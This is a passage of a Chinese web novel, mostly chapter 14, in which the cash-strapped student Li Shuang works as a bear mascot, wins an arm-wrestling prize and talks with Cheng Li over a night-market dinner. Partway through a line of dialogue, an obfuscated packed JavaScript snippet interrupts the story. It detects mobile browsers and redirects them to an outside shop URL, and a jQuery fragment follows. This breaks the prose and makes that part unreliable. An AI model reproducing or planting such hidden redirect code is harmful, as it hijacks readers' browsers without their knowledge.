李双。广州的物价你也清楚,便利店不可能每天都有免费食物,一天6.6你觉得够用么?等等——” 程理的视线漫不经心扫过李双的长发:“忘了你还有一头长发,这意味着你洗澡需要用到的水更多,那水费就不止100了,每天6.6的预算也要进一步压缩。” “啊?”李双傻了。 “你要觉得钱不够用,我是可以借你。”程理抱起手臂:“但你确定要继续欠我人情么?你选择一个人出来住,图的不就是精神自由?一直依靠我的话,你的内心真的能坦然么?” “当然不能!”被激起斗志的李双握紧拳头:“热水壶不买了,不就是连轴转打工么,我干就是了!” “很好。”程理赞许地点头:“一边赚钱,一边努力活到寒假吧!” 回忆结束,李双明明正处于前所未有的窘境,却笑得快岔气了。很难说是被鬼鬼祟祟蹭水的自己逗笑的,还是被程理完全不把她当人的计划气笑的。最关键的是,累得要死的她却一点也不生气!甚至称得上很幸福。 一想到可以用自己的力量达成想要的生活,疲惫的李双就充满了干劲,恨不得让太阳也早点出来,好让她继续出门打工。 “好开心。”光溜溜的李双在客厅里没羞没燥地打着滚:“不过……那家伙究竟为什么帮助我呢?” 14. 第14章 商场门口的广场人头攒动,数不清的镜头对准三层楼高的圣诞树,起哄的人群欢呼: “三、二、一——圣诞快乐!” 暮色中的圣诞树被彩灯点亮。纷纷扬扬的人造雪花从空中飘落,年轻人们勾肩搭背,唱着耶稣娶老婆,夹在其中的程理不住说着“让一让”,玩命地挤进商场。 室内的氛围也热闹得不逞多让,比肩接踵中,程理打开手机,回顾昨晚与李双的聊天。 AAA语商通天代:按照行程,你明晚应该有空? S:还真没有,明天不是圣诞节么,好多商铺做活动,我就在兼职群里抢了个给DR钻戒当模特巡场的活 AAA语商通天代:几点结束? S:傍晚五点吧,你要作甚 AAA语商通天代:明天就知道了,商场地址发我,到时候我来接你 S:OK “DR……DR……”对商场不熟悉的程理沿着导航向前,蓦地听见了小孩此起彼伏的嬉笑声。 程理没忍住凑过去看热闹,空地外围着里三层外三层的人。几家知名IP的吉祥物正在斗舞,比如蜜雪冰城的雪王、盒马生鲜的屁股脸,其中有个格外“娇小”的熊皮人。 没错,就是大圣唱“allthesegirlstheylikemyswagger”跳舞的那头网红熊。 在土到掉渣的拼接DJ中,雪王朝着熊发起冲锋,它仗着自己白白胖胖,上下跳跃就舞动得异常Q弹,充分满足了大家看吉祥物卖萌的心。 不甘示弱的小熊立刻跟着音乐凌空翻起跟头,不仅没用手撑地,而且速度极快花样极多,程理甚至从中看出了一丝滞空感。 熊绕着围观的孩子们翻了一圈跟头,激动的孩子们差点用尖叫将屋顶掀翻! 蹦蹦跳跳地回到空地,熊休息了半分钟,在雪王面前跳起了霹雳舞,可爱的外表搭配肆意奔放的舞姿,生生压了顶流雪王一头,惹得围观群众惊叹连连。 大家的目光是熊的兴奋剂,熊开始飞快地做起托马斯回旋!要知道那可是街舞文化里公认的大招,没点核心力量不行。而熊做得如此轻松又惬意,足以见得里面的人身体素质之强。 “街舞大神来当吉祥物赚零花钱了么?”程理笑着离开人群,重新向DR迈步。 透过交叠的人影,程理依稀望见DR门口站着一男一女。高挑的女模特背对着他,身下是层层叠叠的雪白婚纱,乌黑亮丽的头发被一丝不苟盘至脑后,中间插着银色的玫瑰头饰。 程理给李双打了个电话,可对方与男模特相谈甚欢,丝毫没有看手机的意思,程理只好亲自上前。 “李……欸?”女模特扭头的刹那,程理瞧见了一张完全陌生的脸。 “你找李双?” “对,她说她在这里当巡场模特。” 男女模特同时笑了起来:“我们是驻店人模特,她是巡场熊模特。” “熊?”乱飞的射灯晃在程理嘴角抽搐的脸上:“难不成……” “程理!” 程理扭过头,网红熊直直朝他跑来,随着熊头下的拉链开裂,面颊绯红,满头大汗,且变成短发的李双探出头。 程理惊讶地问:“你头发呢?” 李双无所谓地晃了晃脑袋:“剪掉了,为了省水。” “好吧,”程理一脸无奈,“我——” “等我换个衣服!”李双钻进更衣室,又很快回来:“好了你可以说了。” 程理摊开手机,页面是《扳手腕大奖赛》的宣传文章:“我本想喊你参加这个比赛,但你刚刚又是蹦又是跳的,恐怕没力气了。” “谁说的!”看清奖金栏的李双眼冒精光:“走!看我分分钟斩获冠军!” 小电驴逆着人流驶向商圈,十分钟后,在一座公园停下。 穿过印着“好劲集市”的泡沫门板,热闹的气息扑面而来。各色小摊在夜色中闪闪发亮,集市最深处立着高耸的红色舞台,舞台灯后的背景墙是《第一届扳手腕大奖赛》,右下角一行小字——本比赛由飞步健身房冠名举办。 跃跃欲试的李双拉着程理跑向登记桌,登记员上下打量着她:“我们这个比赛只有一个组别,不分年龄,不分体重,也不分男女。” “少废——”李双话说到一半,头顶忽得一黑,背后走过去一个壮得像北极熊的男人。 无视登记员不信任的目光,李双拍了拍桌子:“少废话快登记!李双,木子李,天下无双的双。” 登记员写好名字,递来一张写着42号的贴纸,指向人满为患的休息区:“请去那里等待,10分钟后比赛开始。” “真不可思议。”程理跟在李双身后:“奖金才600,我还以为没几个人会来参加呢。” “你不明白,”李双扫视周遭的参赛者,肃穆地抱臂:“对于‘我们’来说,能够以武会友,一分高下的机会有多么难得。” “这样啊。”笑得无比奸诈的程理主动为李双提包:“那为你提供这个机会的我,分走六分之一的奖金,也说得过去吧?” “好啊!”李双笑着叉腰:“我说你怎么专程来接我,原来打的是这个主意!” “渠道可是很重要的,你就说给不给吧。” “给!”李双大方地挥手:“作为交换,以后还有这类活动,你必须告诉我。” “包的。不过你也别太拼命,扳不赢就算了,把骨头弄伤就得不偿失了。” 李双冷哼:“扳个手腕能把骨头弄伤的人怕是骨质疏松吧。” 劲爆的音乐打断了二人的闲谈,李双大喊“瞧好吧你”,步入了参赛区。 比赛共有46人参与,台上有六张桌子。规则非常简单粗暴,号码相邻的参赛者以一分钟为限制两两比拼,输的走下台,赢的则留下。 12名选手、6名裁判在台前就位。哨响如擂鼓!舞台灯狂闪,气氛一瞬间滚烫起来,参赛者的嘶吼、围观群众的呐喊交缠着直冲云霄! 一分钟眨眼而过,第二批参赛者已至桌前,接着是第三批、第四批……很快就轮到了第七批的李双,她摩拳擦掌地走向擂台,只消两秒就干掉了麻杆一样细瘦的对手。 第一轮比赛结束,三分钟休整后,场上的23名参赛者投入了第二轮角逐。 “Yes!”李双干掉第二个对手依旧只花了两秒。 一轮轮的比赛过去,舞台上的人越来越少,直到只剩下李双和长得像肉山大魔王的男人,刚才在李双背后路过的也正是他。 “决赛即将开始,我们的冠军预备役已然出现!她们分别是退役的最高量级三冠王拳击手,来自大韩民国的金先生!以及体校大一新生,颜值与实力兼备的超级港女李小姐!奖金与‘民间大力王’的称号究竟花落谁家?台下的观众们,请高呼你们支持的名字——” “李双!李双!”把包当旗摇的程理嘶吼。 “两位选手请上前——” “?????.”(晚上好)金先生将手肘撑进台面。 李双做起斗鸡眼:“听不懂思密达。” “尼晶添的朴仙哼号,当椰囧当尺喂只了。”(你今天的表现很好,但也就到此为止了) 居然听懂的李双大笑着剥下外套与卫衣,并潇洒地丢进程理怀里。只剩黑色吊带的李双不动如山,灯光为她紧实的肩膀镀上银白的边。她大幅度活动着臂膀,拉伸又耦合的骨头咯吱作响,宛如预备捕食的响尾蛇用尾巴敲击地面。 野性到极致的一幕点燃了众人的尖叫,李双也将手肘撑进台面,盯着对手的眼睛一字一顿说: “原话奉还。” “比赛——开始!” 比赛桌猛烈地摇晃起来,要不是4个裁判同时按住了桌角,爆发力惊人的二人恐怕能直接掀翻台面! 交握的手臂青筋凸起,对视的眼睛也气势汹汹。分庭抗礼的二人死死僵持着,泛白的指骨颤动,赢家与输家的身份层层反转。 时间一分一秒过去,脸红脖子粗的金先生从牙缝里挤出一句“差不多该认输了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957849|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧”。发力到面色狰狞的李双敏锐察觉出这是力竭的征兆,于是她扎好马步,气沉丹田,将全身力量运输至手部。 “给我——”李双咆哮:“跪!” 咣当一声巨响!金先生的手背势无可挡地撞向桌面,落败的他无可奈何地松开手,任由拿下冠军的女孩绕着舞台发疯般跑圈。 健身房女老板笑容满面地为李双戴上奖牌,后者高呼“老娘是冠军”,朝台下飞吻。莫名承受饭撒的程理眸中闪过一丝微妙,转而继续喝彩。 趁着李双兑奖的功夫,程理去了趟公厕,回来的时候发现她不见了,身旁的群众则围成了一堵墙,嘴里喊着“十、十一、十二”。 感到不对的程理钻入人墙,李双正抓着健身器材做引体向上。器材旁摆着块牌子,上书“引体向上挑战”:男生做一个3元,女生做一个4元。 程理扶着下巴,万分震惊地注视李双做了整整19个引体向上。在第20个时,身体透支过度的女孩掌心一滑,跌向地面。 “小心!”程理本能地窜了过去,接住了即将摔倒的李双。 “哈……哈……”窝在他怀里的李双气还没喘匀,就哆哆嗦嗦地掏出手机,对工作人员出示收款码:“76,谢谢。” “你是不是傻呀!”程理没来由地一阵火大,他用李双的外套包住她的身体,扶着她的肩膀起身。 “干嘛这么凶?”不明所以的李双笑得开怀:“我只用一分钟就赚了76呢!” 程理把李双按进休息椅,又为她拧开水杯的盖子:“透支的身体要用多少时间、多少金钱补足?能不能想得长远一点!不要只顾眼前!” “我也想啊。”嘴唇发白的李双捧着涟漪阵阵的水杯,轻声说:“可我现在欠着钱,没办法思考以后嘛。” 程理沉默地凝视她的发旋,彰显优雅与财力的长发不见踪影,从颈部毛糙又高高低低的发尾判断,李双大概率是自己给自己剪的。比起刚认识那会,李双的体格因为浮肿而膨胀了不少,挺拔的体态也变得略微有些佝偻。更别提她憔悴的漂亮脸蛋,像一颗布满划痕的水晶球,在太阳下残忍又熠熠生辉地亮着。 “算了。”程理在她身旁坐下。 “什么算了?” “渠道费咯。请我吃顿饭吧,就当抵来回路费了。” 李双看了眼余额:“隆江猪脚饭行不行?” …… “行。” 二人来到公园旁边的夜市大排档,李双豪横地点了两份顶配猪脚饭,还各加了卤蛋。餐点很快上齐,饥肠辘辘的李双立马抄起勺子,可她的手抖得不像话,努力了半天也没送进去一粒米。 “啧……”李双放下餐具,握住不听话的手腕细细揉搓:“我休息一会,你先吃吧。” 程理摇摇头,扫码拿了瓶冰可乐,包上餐巾纸递过去:“敷着消消肿吧。” 李双点点头,没有拒绝。 “李双,你——” “小双。”李双微笑着打断他:“叫小双吧,总是连名带姓称呼也太见外了。” “成,你也可以叫我小理什么的。” “小理好难听。”李双咯咯笑起来:“而且像是在喊我自己。” “那……眼镜程?或者靓仔?” 李双笑得更大声了:“都不好,让我再想想。” “你慢慢想。”程理扶了扶镜框:“你看起来不壮,竟然能一口气做19个引体向上。” “做引体向上体重越轻越好。而且学武不能往壮了练,不然肌肉太多,身体会变笨重,动作也不会好看。” “这样啊,学到了。” 正值饭点,夜市街车水马龙,空气里飘浮着各种食物的香气,鼎沸的人声与推杯换盏的脆响交织成名为烟火红尘的背景乐,如此稀疏平常,又如此妙不可言。 门外传来“一元牛杂”的叫卖声,程理往外看了眼,问李双想不想吃,李双却猛然坐直身体,像是下定了某种决心。 “我欠了114万港币,你呢?”